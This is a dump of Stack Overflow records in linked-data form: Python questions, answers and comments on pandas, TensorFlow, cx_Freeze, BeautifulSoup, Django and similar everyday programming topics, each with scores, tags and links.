vuln_counter = 0 duplicate_count = 0 logging.info('Currently processing ' + item) file_count +=…
tagged with: python
has answer: http://stackoverflow.com/a/47288994

http://stackoverflow.com/comment/81477963
score: 1
has text: Yes you can also use apply to get rid of all those assignments and accessing
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47263368

http://stackoverflow.com/q/47246867
tagged with: python
has title: Langford numbers pairing using using Python
tagged with: python-3.x
answer count: 2
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/8306654
type: Question
has answer: http://stackoverflow.com/a/47246955
score: 0
tagged with: performance
has answer: http://stackoverflow.com/a/47249688
has body: I'm trying to generate Langford numbers with Python. I have already written the following code which works well for getting the fourth Langford number. Here is my code : import itertools n=0 for l in set(itertools.permutations(["1", "1", "2", "2", "3", "3", "4", "4"])): t1, t2, t3, t4 = [i for i, j in enumerate(l) if j == "1"], [i for i, j in enumerate(l) if j == "2"], [i for i, j in enumerate(l) if j == "3"], [i for i, j in enumerate(l) if j == "4"] if abs(t1[1]-t1[0]) == 2 and abs(t2[1]-t2[0]) == 3 and abs(t3[1]-t3[0]) == 4 and abs(t4[1]-t4[0]) == 5: print("".join(l)) n+=1 else: pass print(n) I have two questions : first, are there techniques to make this code quicker (for the moment it finds the result in 0.1s) second, could you give me hints on how I could adapt the code to get any n-th Langford number I you wonder, here is the wikipedia page for Langford numbers. Thank you very much if you take the time to answer me !

http://stackoverflow.com/a/47241902
has comment: http://stackoverflow.com/comment/81543954
type: Answer
score: 2
answers question: http://stackoverflow.com/q/47241623
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81435022
has body: I would probably do something like this: papers = [] # the list of dictionaries out = [] # ... # populate your papers list # ... for paper in papers: try: paper_string = "{TH}\n{AB}\n{MH}\n".format( TH=paper['TH'], AB=paper['AB'], MH=paper['MH']) except KeyError: paper_string = "MISSING INFORMATION\n" finally: out.append(paper_string)
accepted answer of: http://stackoverflow.com/q/47241623

http://stackoverflow.com/comment/81487600
comment on: http://stackoverflow.com/a/47268291
has text: @StefanB You can, to prevent users from passing other numeric types such as complex types.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/47359163
has comment: http://stackoverflow.com/comment/81671066
score: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/81671130
answers question: http://stackoverflow.com/q/47359076
has body: Or you can use nunique df.nunique(1).eq(1) Out[1155]: 0 True 1 False 2 False dtype: bool
upvote count: 4
has comment: http://stackoverflow.com/comment/81671273
type: Answer

http://stackoverflow.com/comment/81513243
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47236695
has text: The driver is properly installed as i am able to access web camera by passing 0 in the cv2.VideoCapture() function.

http://stackoverflow.com/comment/81711240
type: Comment
type: QuestionComment
has text: @Mephy: Okay, I'm chastened; sys.version_info is certainly the very definition of the difference between python 2 and 3, and I'll use it. My reasoning was that `PY2 = str is bytes` amounts to duck-typing the whole environment. Subsequent branches don't really care if it's called python 2 or 3, only whether str is going to be treated as bytes. But I bow to the will of the voters.
score: 0
comment on: http://stackoverflow.com/q/47373006

http://stackoverflow.com/q/47351542
type: AnsweredQuestion
score: 2
has body: I am trying to implement a simple LSTM model in tensorflow. I have lines of sentences as array of char as input. Sample input: ['Y', 'â', 'r', 'â', 'b', ' ', 'n', 'e', ' ', 'i', 'n', 't', 'i', 'z', 'â', 'r', 'd', 'ı', 'r', ' ', 'b', 'u'] Each training step I am trying to fed this inputs to lstm. The problem is the length of sentences are not constant. Some sentences length can be 20 and some other 22 or what ever else. The small part of training: x_input = [dictionary[i] for i in line] x_input = np.reshape(np.array(x_input), [-1, n_input, 1]) onehot_out = np.zeros([output_size], dtype=float) onehot_out[vezin] = 1.0 onehot_out = np.reshape(onehot_out, [1, -1]) _, acc, loss, onehot_pred = session.run([optimizer, accuracy, cost, pred],\ feed_dict={x: x_input, y: onehot_out}) Is there any way to change intput size in each tarining step? If there is it bad to use?
downvote count: 0
has answer: http://stackoverflow.com/a/49340536
answer count: 1
tagged with: recurrent-neural-network
tagged with: tensorflow
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49340536
tagged with: python
has title: Change batch size in each training in Tensorflow
tagged with: lstm
upvote count: 2

http://stackoverflow.com/comment/81697280
type: QuestionComment
comment on: http://stackoverflow.com/q/47371787
score: 0
has text: The particular error you are getting is because you are using the wrong `and`. Try `&` instead. But I think there are a couple of additional mistakes.
type: Comment

http://stackoverflow.com/comment/81699034
comment on: http://stackoverflow.com/q/47373245
has text: What do you mean by "spliting numbers"? Does that mean the sum of output will be the original number?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81717448
has text: @abercrombiefan1 thanks! try changing this `with open("namesList.csv", "w") as f: ` line to `with open("namesList.csv", "w", newline='') as f: `;
type: Comment
comment on: http://stackoverflow.com/a/47380647
score: 0
type: AnswerComment

http://stackoverflow.com/q/47307751
tagged with: web-scraping
has answer: http://stackoverflow.com/a/47315593
has comment: http://stackoverflow.com/comment/81565755
tagged with: beautifulsoup
has comment: http://stackoverflow.com/comment/81567143
score: 0
has body: soup = BeautifulSoup(html, "html.parser") # BeautifulSoup(markup, "lxml") items = soup.find_all("div","_3u1 _gli _uvb", recursive=True) for item in items: abouts = item.find_all("div", {"class":"_glo"}, recursive = True)[0].text print (abouts) HTML page: "text "text" "text" Afternoon , i am trying to scrape a webpage using beautifullsoup, python. I need al the "text" strings in a separate variable. When i print abouts i get :"text text text" I want it to be seperated. Kind regards
has title: Python v3 , Beautifoulsoup - multiple div tags with same name
has comment: http://stackoverflow.com/comment/81565816
tagged with: python
type: Question
has answer: http://stackoverflow.com/a/54964292
answer count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81566132

http://stackoverflow.com/q/47334342
score: 3
has title: how to compare and check if two binary(h5) files numerically have the same contents
tagged with: python
has answer: http://stackoverflow.com/a/47815491
type: Question
has comment: http://stackoverflow.com/comment/81624631
linked to: http://stackoverflow.com/q/41850082
downvote count: 0
has comment: http://stackoverflow.com/comment/81647791
has comment: http://stackoverflow.com/comment/81625579
type: UnansweredQuestion
answer count: 1
tagged with: hdf5
favorite count: 0
has comment: http://stackoverflow.com/comment/81620951
has body: I am trying to compare the contents of two binary files. I use python 3.6 filecomp comparing same name files inside two directories. results_dummy=filecmp.cmpfiles(dir1, dir2, common, shallow=True) The above line works for *.bin file I have in both directories, but it does not work with h5 files. When comparing two hdf5 files that contain exactly the same groups/datasets and numerical data, filecmp.cmpfiles finds them as mismatch. Is there anyway to compare the contents of two hdf5 files from within Python script and without using h5diff? Thanks in Advance,
upvote count: 3

http://stackoverflow.com/comment/81592158
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47301623
has text: That won't work, because the hash is different for all past passwords. If it were only one password, the method you are proposing would work, but I need to be able to verify the new password against a range of old passwords.
type: Comment

http://stackoverflow.com/a/47279891
has comment: http://stackoverflow.com/comment/81511116
has comment: http://stackoverflow.com/comment/81511545
has comment: http://stackoverflow.com/comment/81513596
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/81511362
has comment: http://stackoverflow.com/comment/81511369
has comment: http://stackoverflow.com/comment/81512431
has comment: http://stackoverflow.com/comment/81510371
has comment: http://stackoverflow.com/comment/81513392
answers question: http://stackoverflow.com/q/47279487
has body: Add distinct in your query data = Message.objects.filter(Q(sender=request.user) | Q(receiver=request.user)).values('receiver').distinct().order_by() This query will fetch all the distinct recievers from the message objects Updated answer:- .distinct([*fields]) will work with postgresql data = Message.objects.filter(Q(sender=request.user) | Q(receiver=request.user)).order_by('receiver','-created_at').distinct('reciever')
has comment: http://stackoverflow.com/comment/81511838

http://stackoverflow.com/comment/81456709
type: AnswerComment
comment on: http://stackoverflow.com/a/47253150
has text: windows 10 64 bit
score: 0
type: Comment

http://stackoverflow.com/comment/81512871
type: Comment
comment on: http://stackoverflow.com/a/47281282
score: 0
type: AnswerComment
has text: Would this work the other way around too? I need to convert the Python code to an object to make it work?

http://stackoverflow.com/comment/81555035
score: 1
type: Comment
has text: The first string in the list has `3` replaced by `e`.
type: AnswerComment
comment on: http://stackoverflow.com/a/47301893

http://stackoverflow.com/a/47373852
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47373639
has body: class Node: def __init__(self, data=None, next=None): self.data = data self.next = next def __repr__(self): return 'Node({}, {})'.format(self.data, self.next) class LinkedList: def __init__(self, iterable=(), maxlen=3): self.head = None self.length = 0 if maxlen &lt; 2: raise ValueError self.maxlen = maxlen for item in iterable: self.add(item) def add(self, data): self._check_and_remove_last() self.head = Node(data, self.head) self.length += 1 def _check_and_remove_last(self): if self.length &lt; self.maxlen: return new_tail = self.head while new_tail.next.next: new_tail = new_tail.next # new_tail.next is now the last Node in the Linked List new_tail.next = None self.length -= 1 Removing the last element of the linked list means you either have to keep track of the second-to-last node in the linked list (not a very natural thing to do), or traverse the whole linked list every time. You can get around this by using a doubly linked list and doing something like self.tail.prev.next = None, or just using the built in deque which makes all this a breeze
has comment: http://stackoverflow.com/comment/81700385
type: Answer
accepted answer of: http://stackoverflow.com/q/47373639

http://stackoverflow.com/comment/81481586
type: QuestionComment
has text: If one script works for one site, it doesn't mean that it will work for another site
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47259090

http://stackoverflow.com/comment/81454499
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47249280
score: 0
has text: @TransHumanist, hope you don't mind if I haven't chosen your solution. Both are great solutions but the Joe Iddon one's is easier to understand. That has nothing to do with you, but with my limited knowledge. ;)

http://stackoverflow.com/a/47312933
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47312815
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/47312815
has body: Replace size += 1 + self._leftchild.size() With size += self._leftchild.size() That extra 1 is the reason for overcounting. And similarly for right child.
score: 3
upvote count: 3

http://stackoverflow.com/q/47312554
duplicate of: http://stackoverflow.com/q/6921699
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81576249
tagged with: http://stackoverflow.com/tag/csv
tagged with: http://stackoverflow.com/tag/json
tagged with: python
accepted answer: http://stackoverflow.com/a/47312971
has title: Python 2.7 - I'm getting the wrong order of values after converting CSV to JSON
has body: I want to convert CSV to JSON file by taking data from stdin and outputting it to stdout. The input data's format has a format (each line) like this: 111117_055958,b8:27:eb:da:ef:6d,0,b8:27:eb:8f:ba:38,192.168.1.10,171110_163200,19,0,0,562,18.7,50.1,ON,OFF,44.0,6593,3697,-2.700629,X My Python code is: #!/usr/bin/env python import csv, json , sys fieldnames = ("Time","MAC_ETH","IP_ETH","MAC_WiFi","IP_WiFi","Up_time","Winsen","ADC_2","ADC_3","VOC","Temp","Humidity","Internet","Lampa_UV","CPU_temp","Amph_P1","Amph_P2","PT100","Brak",) reader = csv.DictReader(sys.stdin, fieldnames) for row in reader: print(json.dumps(row, sys.stdout)) sys.stdout.write('\n') And my output looks like this: {"ADC_2": "0", "ADC_3": "0", "Up_time": "171110_163200", "MAC_WiFi": "b8:27:eb:8f:ba:38", "CPU_temp": "44.0", "Temp": "18.7", "VOC": "562", "PT100": "-2.700629", "MAC_ETH": "b8:27:eb:da:ef:6d", "Internet": "ON", "Winsen": "19", "Humidity": "50.1", "Amph_P2": "3697", "Amph_P1": "6593", "IP_ETH": "0", "Time": "111117_055958", "Brak": "X", "Lampa_UV": "OFF", "IP_WiFi": "192.168.1.10"} So names and values of parameters are OK. But the order of parameters is different compared to the input string and order in the fieldnames value. Can you tell me what I am doing wrong? I use Python 2.7.12 on Synology.
linked to: http://stackoverflow.com/q/1885324
linked to: http://stackoverflow.com/q/10844064
type: Question
has answer: http://stackoverflow.com/a/47312581
possible better answer: http://stackoverflow.com/a/47312581
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/81576212
has comment: http://stackoverflow.com/comment/81576121
linked to: http://stackoverflow.com/q/6921699
has answer: http://stackoverflow.com/a/47312971

http://stackoverflow.com/q/47270514
tagged with: python
accepted answer: http://stackoverflow.com/a/47275436
tagged with: conda
has answer: http://stackoverflow.com/a/47275436
type: AnsweredQuestion
has title: Conda update: installation progress (version 4.3)
upvote count: 3
has body: Doing a conda update --all for a Python Anaconda environment, the list of downloads is tracked one-by-one, but as soon as the installation starts, there is no visible progress anymore. As the installation is taking quite some time - is there any option to show the installation progress? I am using conda --version: 4.3.30.
downvote count: 0
answer count: 1
favorite count: 0
type: Question
score: 3
tagged with: anaconda

http://stackoverflow.com/comment/81586415
score: 0
has text: Unfortunately, asking for libraries is explicitely off topic on SO. From the [help center](https://stackoverflow.com/help/on-topic): *Questions asking us to recommend or find a book, tool, software library, tutorial or other off-site resource are off-topic for Stack Overflow as they tend to attract opinionated answers and spam*
comment on: http://stackoverflow.com/q/47306429
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81632720
type: QuestionComment
has text: Bounce_Rate has only 5 values, you have to pass arrays of same length to be able to create a dataframe
comment on: http://stackoverflow.com/q/47340189
score: 1
type: Comment

http://stackoverflow.com/comment/81503534
type: Comment
comment on: http://stackoverflow.com/q/47276056
type: QuestionComment
has text: @cᴏʟᴅsᴘᴇᴇᴅ thanks again, that works great!
score: 0

http://stackoverflow.com/comment/81530549
type: Comment
has text: # Run './distribute.sh -m "kivy" -d "myapp"' # Cwd /media/sf_python/python projects/kivy_learn/vibrator/.buildozer/android/platform/python-for-android Check build dependencies for Ubuntu Packages missing: cython ====> "Cython missing here" It might break the compilation, except if you installed thoses packages manually. Check environment
comment on: http://stackoverflow.com/a/47277714
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81621966
type: Comment
score: 0
type: AnswerComment
has text: are we talking about python 2.7? I can't find signatures in inspect.
comment on: http://stackoverflow.com/a/47334818

http://stackoverflow.com/comment/96671532
score: 2
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47239367
has text: @user32185 Sure! No offence taken. And I've also added a numpy solution, since I'm pretty sure that would be faster.

http://stackoverflow.com/a/47306284
type: Answer
answers question: http://stackoverflow.com/q/47244550
has body: IBM Cloud gives you a number of possibilities to run your applications. Cloud Foundry Runtimes is one of them, but in your situation doesn't seem a good fit. Whenever you have a dependency that you need to install you need to create your custom buildpack which can be a rather complex task. (https://docs.cloudfoundry.org/buildpacks/custom.html) Ever heard about Docker/Kubernetes? If you have a number of application dependency (like tesseract in your case) I would suggest you to create a Kubernetes environment to build your app! have a look at these resources: https://hub.docker.com/r/tesseractshadow/tesseract4re/ https://console.bluemix.net/docs/containers/container_index.html#container_index
accepted answer of: http://stackoverflow.com/q/47244550
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81573683
score: 1

http://stackoverflow.com/q/47223944
tagged with: python-3.x
has body: I am currently making a game using pygame module. I have followed the following links' directions. https://pythonprogramming.net/converting-pygame-executable-cx_freeze/ I have solved some problems such as KeyError KeyError: 'TCL_Library' when I use cx_Freeze AttributeError Attribute Error while using cx_Freeze The build of setup.py has been done, but as I run the exe file of the game, it crashes with Fatal Python error: Py_Initialize: unable to load the file system codec Fatal Python error: Py_Initialize: unable to load the file system codec Traceback (most recent call last): File "C:\Users\jinju\AppData\Local\Programs\Python\Python35-32\lib\encodings\__init__.py", line 31, in <module> ImportError: No module named 'codecs' I have read the previous questions answered in Linux kernel (cx_Freeze: "No module named 'codecs'"), but I want to know what should I do with my Windows 10 kernel. I use Python 3.5.3 downloaded through the python homepage, cx_Freeze-5.1-cp35-cp35m-win32.whl downloaded automatically through pip, pygame 1.9.3 through downloading whl with pip. the setup.py file import cx_Freeze, os executables = [cx_Freeze.Executable("quatris.py")] os.environ['TCL_LIBRARY'] = r'C:\Users\jinju\AppData\Local\Programs\Python\Python35-32\tcl\tcl8.6' os.environ['TK_LIBRARY'] = r'C:\Users\jinju\AppData\Local\Programs\Python\Python35-32\tcl\tk8.6' cx_Freeze.setup( name = "QUATRIS", version = '1.0', options={"build_exe": {"packages":["pygame"], "include_files":['ab_main.wav', 'ct_main.wav', 'f3_main.wav', 'ff_main.wav', 'gta4_soviet.wav', 'h3_neverforget.wav', 'h_onefinaleffort.wav', 'm_sweden.wav', 'p1_stillalive.wav', 'p2_caramiaaddio.wav', 'smb_1-up.wav', 'smb_bump.wav', 'smb_coin.wav', 'smb_gameover.wav', 'smb_mariodie.wav', 'smb_overworld.wav', 'smb_pause.wav', 'tes4o_main.wav', 'tes5s_dragonborn.wav', 'tes5s_farhorizons.wav', 'tetris.wav', 'tloz_intro.wav', 'tw3wh_main.wav']}}, executables = executables) I tried to look at the init.py file and the codecs.py file. When …
answer count: 2
has answer: http://stackoverflow.com/a/47224342
has answer: http://stackoverflow.com/a/47241539
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/82641893
downvote count: 0
score: 16
tagged with: python
upvote count: 16
tagged with: cx-freeze
linked to: http://stackoverflow.com/q/45906514
has title: cx_Freeze: “No module named 'codecs'” Windows 10
linked to: http://stackoverflow.com/q/42961944
linked to: http://stackoverflow.com/q/35533803
tagged with: pygame
favorite count: 0
has comment: http://stackoverflow.com/comment/93117492
type: Question

http://stackoverflow.com/a/47337563
type: Answer
has body: for loop iteration for i in range(0, len(df), 24): slc = df.iloc[i : i + 24] groupby df.groupby(df.index // 24 * 24).apply(your_function)
score: 12
has comment: http://stackoverflow.com/comment/90913223
upvote count: 12
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47337328
answers question: http://stackoverflow.com/q/47337328

http://stackoverflow.com/comment/81566857
type: Comment
has text: https://stackoverflow.com/questions/47295025/valueerror-at-image-tensor-tensoractivation-5-softmax0-shape-4-dtyp/47300005?noredirect=1#comment81555441_47300005 any suggesions
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47292230

http://stackoverflow.com/comment/81844656
type: Comment
has text: Thank you for your answer i used skimage method to resize batch of image. So its look ok
type: QuestionComment
comment on: http://stackoverflow.com/q/47380643
score: 0

event-handling
tag name: event-handling
type: Tag
tags question: http://stackoverflow.com/q/47365518

http://stackoverflow.com/comment/81689514
comment on: http://stackoverflow.com/a/47368594
type: AnswerComment
score: 1
type: Comment
has text: a browser doesn't have the same capabilities as a small python library :)

http://stackoverflow.com/comment/81556981
type: AnswerComment
comment on: http://stackoverflow.com/a/47302667
has text: It also doesn't work. I also tryed to change the values. The value of wert is always " "... Why is it like that?
score: 0
type: Comment

http://stackoverflow.com/q/47376653
tagged with: python-2.7
score: 0
has answer: http://stackoverflow.com/a/47376764
answer count: 1
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has body: My input file is a text file containing the following links usrls.txt https://www.politico.eu/article/united-kingdom-brexit-eu-david-davis-the-uks-secret-brexit-strategy-so-stealth-even-the-british-cant-see-it/ https://www.reuters.com/article/us-britain-eu-scotland/scottish-independence-case-helped-by-brexit-chaos-sturgeon-idUSKBN1CD0B2 https://en.wikipedia.org/wiki/European_Union https://en.wikipedia.org/wiki/EU_(disambiguation) I want to filter out links of Wikepedia from this file Expected Output is output.txt https://www.politico.eu/article/united-kingdom-brexit-eu-david-davis-the-uks-secret-brexit-strategy-so-stealth-even-the-british-cant-see-it/ https://www.reuters.com/article/us-britain-eu-scotland/scottish-independence-case-helped-by-brexit-chaos-sturgeon-idUSKBN1CD0B2 I tried the code below but I am getting no outputs . from itertools import ifilter with open('urls.txt','rb') as f,open('fliteredlinks.txt','wb') as g: g.writelines( ifilter(lambda line: 'wikepedia' in line, f))
tagged with: python
has title: What is the python code to filter out lines from a text file with particular keywords?

http://stackoverflow.com/comment/81614637
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47331574
has text: It's not really clear what you want to plot here. Hence its hard to help. `rt` has dimensions `(tmax,n,dim) == (5,6,2)`, hence the index of the last axis can only be 0 or 1, not 2. Either you don't want to loop over `range(n)` here but over `range(dim)`. Or you want to loop over `range(n)` but change the second index, not the third. Concerning the updating function, this should be used to plot something to the figure. "Simply animate slices of `rt`" would hence mean to call a plotting command inside the update function. (The init function may not actually be needed.) SO has enough examples.

http://stackoverflow.com/a/47267325
has comment: http://stackoverflow.com/comment/81486014
has body: You could assign fieldnames with a list containing duplicates. with open('test.csv', 'w') as f: csv_file = csv.DictWriter(f, fieldnames=['foo', 'bar', 'bar', 'bar']) csv_file.writeheader() csv_file.writerow({'foo':1, 'bar':2}) test.csv contains: foo,bar,bar,bar 1,2,2,2 However that does not fix the problem if you want different header names...
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47266400

http://stackoverflow.com/a/47285681
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47283944
has body: In tensorflow, one can add extra dependencies via tf.control_dependencies function, which are obeyed by the tensorflow in addition to the ordinary dependencies (which correspond to the inputs). This is exactly what tf.Operation.control_inputs holds. Here's an example: a = tf.Variable(name='a', initial_value=1.0, trainable=False) b = tf.Variable(name='b', initial_value=0.0, trainable=False) c = tf.add(a, b, name='sum') op = tf.get_default_graph().get_operation_by_name('sum') print(list(op.inputs)) # [&lt;tf.Tensor 'a/read:0' shape=() dtype=float32&gt;, &lt;tf.Tensor 'b/read:0' shape=() dtype=float32&gt;] print(op.control_inputs) # [] It's a standard situation, and unsurprisingly c has only 2 ordinary inputs and no control_inputs. Upon evaluation, c value will be 1.0. But if you add an extra dependency, it'll change the graph and the way the computation goes: a = tf.Variable(name='a', initial_value=1.0, trainable=False) b = tf.Variable(name='b', initial_value=0.0, trainable=False) dependent_op = tf.assign(b, a * 3, name='dependent_op') with tf.control_dependencies([dependent_op]): c = tf.add(a, b, name='sum') op = tf.get_default_graph().get_operation_by_name('sum') print(list(op.inputs)) # [&lt;tf.Tensor 'a/read:0' shape=() dtype=float32&gt;, &lt;tf.Tensor 'b/read:0' shape=() dtype=float32&gt;] print(op.control_inputs) # [&lt;tf.Operation 'dependent_op' type=Assign&gt;] Note that the list of inputs didn't change, but control_inputs now contains the dependent_op. Tensorflow guarantees that dependent_op will be evaluated before sum, as a result, c is going to get the value 4.0. If you define c without tf.control_dependencies block, c will be evaluated to 1.0, because dependent_op, even though it's in the graph, won't be executed.
type: Answer
accepted answer of: http://stackoverflow.com/q/47283944
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47357870
tagged with: flood-fill
has answer: http://stackoverflow.com/a/47363850
tagged with: numpy
answer count: 2
upvote count: 3
tagged with: arrays
downvote count: 0
linked to: http://stackoverflow.com/q/47253243
favorite count: 0
has comment: http://stackoverflow.com/comment/81671885
type: Question
type: AnsweredQuestion
score: 3
has body: Given the following numpy matrix import numpy as np np_matrix = np.array( [[0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,3,0,2,0,0,1,0,0,0,0,0,0] ,[0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,3,0,2,2,0,0,0,0,0,0,0,0] ,[0,0,0,3,0,0,0,0,2,2,2,0,0,0,0,0,3,0,0,0,3,0,0,2,2,2,2,2,2,2,2,2] ,[0,0,0,3,0,0,0,2,0,0,0,2,0,0,0,0,3,0,0,0,3,3,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,3,0,0,2,0,1,0,0,0,2,0,0,0,3,0,0,0,0,3,3,3,3,3,0,0,0,0,0,0] ,[0,0,0,3,0,0,2,0,0,0,0,0,2,0,0,0,3,0,0,0,0,0,0,0,0,3,3,3,3,3,3,3] ,[0,0,0,3,0,0,2,0,0,0,0,0,2,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,3,0,0,2,0,0,0,2,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,3,0,0,0,2,2,2,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,3,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[3,3,3,3,0,0,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,3,0,0,0,0,3,3,3,3,0,0,0,0,0,3,3,3,3,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,3,3,3,0,0,3,3,3,3,0,0,0,0,0,0,0,0] ,[0,0,0,0,3,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,2,2,2,0,0,3,0,0,0,0,0,0,0,0] ,[2,2,2,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,2,1,2,0,0,3,0,0,0,0,0,0,0,0] ,[0,0,2,2,0,3,3,0,0,0,0,0,0,0,0,3,3,0,2,2,2,0,0,3,0,0,0,0,0,0,0,0] ,[0,0,0,2,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0] ,[1,0,0,2,0,0,3,0,0,0,0,0,0,0,0,0,3,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0] ,[0,0,0,2,0,0,3,0,0,0,0,0,0,0,0,0,0,3,3,0,3,3,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,2,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,3,3,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,2,2,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[2,2,2,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,3,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,3,3,3,3,3,3,3] ,[0,0,0,0,0,3,0,0,0,0,0,0,3,3,3,3,3,3,3,3,0,0,0,0,3,0,0,0,0,0,0,0] ,[0,0,0,3,3,0,0,0,0,3,3,3,3,2,2,2,2,2,2,3,3,0,0,0,3,0,0,0,0,0,2,2] ,[3,3,3,3,0,0,0,0,0,3,2,2,2,0,0,0,0,0,2,2,3,0,0,0,3,0,0,0,2,2,2,0] ,[0,0,0,0,0,0,0,0,0,3,2,0,0,0,0,0,0,0,0,2,3,0,0,0,…
accepted answer: http://stackoverflow.com/a/47359780
has title: Get all coordinates points within known boundaries in a numpy matrix for each dot
has answer: http://stackoverflow.com/a/47359780
tagged with: python
possible better answer: http://stackoverflow.com/a/47363850

http://stackoverflow.com/q/47300916
answer count: 1
has answer: http://stackoverflow.com/a/47302476
type: Question
has comment: http://stackoverflow.com/comment/81553376
has comment: http://stackoverflow.com/comment/81553417
has title: Optimize a function call with array index
has comment: http://stackoverflow.com/comment/81552955
tagged with: python
has body: I have a function with the following prototype: def fun(signal,const): n = len(signal); index = np.arange(n); F = np.sum(signal*np.exp((-2*np.pi*np.complex(1j)*const*index)/n)); return F; The end result I would like to have is the output of: for i in np.arange(4): out[i] = fun(inp,i) How could I get this result without the loop and without vectorize fo a lambda function since my understanding is that vectorize uses also a loop. I am looking for a function from the numpy family to achieve this. I tried the following without luck: b= np.array([0,1,2,3]); print(fun(inp,b)); The problem with the above is it passes the entire array where what I need is passing just the current index.
tagged with: numpy
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81554694
linked to: http://stackoverflow.com/q/47254563
accepted answer: http://stackoverflow.com/a/47302476

http://stackoverflow.com/comment/81691457
has text: `raw_image[xx][yy]` -- wrong order of indices, first should be row, second the column. Usually the vertical axis is considered to be `y`, and the horizontal `x`.
type: Comment
comment on: http://stackoverflow.com/q/47369407
score: 1
type: QuestionComment

http://stackoverflow.com/comment/81576740
score: 0
has text: @Gareth, as i've written in the answer - those underscores will be converted to `NaN` values...
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47312804

http://stackoverflow.com/a/47244783
has comment: http://stackoverflow.com/comment/81440335
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47244294
accepted answer of: http://stackoverflow.com/q/47244294
has comment: http://stackoverflow.com/comment/81440322
score: 6
upvote count: 6
type: Answer
has body: I'd organize it like this: df.groupby( [df.Time.dt.strftime('%b %Y'), 'Country'] )['Count'].mean().reset_index(name='Monthly Average') Time Country Monthly Average 0 Feb 2017 ca 88.0 1 Feb 2017 us 105.0 2 Jan 2017 ca 85.0 3 Jan 2017 us 24.6 4 Mar 2017 ca 86.0 5 Mar 2017 us 54.0 If your 'Time' column wasn't already a datetime column, I'd do this: df.groupby( [pd.to_datetime(df.Time).dt.strftime('%b %Y'), 'Country'] )['Count'].mean().reset_index(name='Monthly Average') Time Country Monthly Average 0 Feb 2017 ca 88.0 1 Feb 2017 us 105.0 2 Jan 2017 ca 85.0 3 Jan 2017 us 24.6 4 Mar 2017 ca 86.0 5 Mar 2017 us 54.0

http://stackoverflow.com/comment/81541841
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47262115
has text: Maybe some NaNs are in data? Or only last convert to `ìnt` - `df['Year'] = num.ffill().fillna(col).astype(int)`. I use pandas `0.20.3` and it seems convert is not necessary.
score: 0

http://stackoverflow.com/comment/81461255
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47251095
has text: Yes. it is getting the content of the script instead of the result, this is the link to the tutorial - https://www.w3schools.com/angular/angular_http.asp

http://stackoverflow.com/q/47356073
downvote count: 2
upvote count: 1
